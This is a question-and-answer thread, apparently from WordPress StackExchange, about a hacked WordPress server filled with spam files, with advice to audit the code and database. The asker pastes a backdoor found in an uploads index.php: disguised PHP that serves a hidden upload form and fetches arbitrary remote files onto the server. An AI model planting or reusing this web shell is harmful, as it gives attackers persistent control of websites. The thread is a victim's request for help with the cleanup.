0

Our Wordpress server began running extremely slowly, even though the load on the server itself was extremely low (< 1%).

The wp-admin page would not respond at all.

After an investigation, it was discovered that the server was hacked and was full of porn files. We are trying to rebuild it, bit do not have a backup.

It seems there are a lot of these files in the wp-uploads directory. Aside from the usual directories of 2013, 2014, 2015 etc, should there be other files in this directory?

What are the correct permissions for this directory, it is currently completely public. I assume the hacker did this:

drwxrwxrwx 20 root root 4096 Nov 21 12:14 uploads

There are some files named 'suspected'. What is happening here, have they been quarantined?

root@recover-wordpress:~/cleanup/wp-content/uploads# ls -l *suspected
-rw-r--r-- 1 www-data www-data  7593 Sep  7 04:34 0pmr7ai6l.php.suspected
-rw-r--r-- 1 www-data www-data 14304 Sep  6 15:48 3d9gr.php.suspected
-rw-r--r-- 1 www-data www-data   700 Oct 20 11:28 454354353.php.suspected
-rw-r--r-- 1 www-data www-data   510 Aug 26 16:50 NB82WOhjz.php.suspected
-rw-r--r-- 1 www-data www-data   510 Sep 11 14:25 SXEZOfZvicy.php.suspected
-rw-r--r-- 1 www-data www-data  3429 Sep  7 04:32 co1iq.php.suspected
-rw-r--r-- 1 www-data www-data 29936 Sep  6 15:49 cttpgw5y.php.suspected
-rw-r--r-- 1 www-data www-data  5406 Sep  5 05:11 dom1xbub.php.suspected
-rw-r--r-- 1 www-data www-data 19706 Sep  7 04:21 evwsroor.php.suspected

There are also a lot of php files in the wp-uploads directory. I noticed in a new Wordpress installation there is a single directory only called 2015. We do have several plug-ins though.

For example there is a file called index.php, which looks very strange:

drwxrwxrwx 4 root root 4096 Jul 27 03:12 espresso

?
<?php
// Silence is golden.
if(isset($_GET[php4])) {echo '<form action="" method="post"     enctype="multipart/form-data" name="silence" id="silence">'; echo '<input     type="file" name="file"><input name="golden" type="submit" id="golden"     value="Done"></form>';
if( $_POST['golden'] == "Done" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '+'; } else { echo '-'; }}} if(isset($_GET[php5])) {$file=$_GET["php5"]; $wpf=strrchr($file, '/'); $wpf=str_replace("/","",$wpf); $content=file_get_contents($file); $wpt = fopen($wpf, "w"); fwrite($wpt, $content); fclose($wpt); } else {echo '<title></title>';}
?>

Can I just delete everything not in the 2015-type directories?

Any other advice?

closed as off-topic by birgire, Rarst Nov 22 '15 at 12:32

This question appears to be off-topic. The users who voted to close gave this specific reason:

If this question can be reworded to fit the rules in the help center, please edit the question.

  • You need person with security expertise looking at that stat. Trying to work through a hack via asking about it unfortunately only wastes time, while your server might still be just as vulnerable. – Rarst Nov 22 '15 at 12:34
2

Uploads directory should be public, or whatever other settings in which the webserver is able to write to it, which in term of website security makes very little difference.

You most likely have an unsecure code or unsecure server and there is not much point in rebuilding your site without first fixing those two issues first.

In addition the content you have currently in your DB can not be trusted as it might include backdoors, therefor after auditing your code you will need to audit the DB content as well.

Not the answer you're looking for? Browse other questions tagged or ask your own question.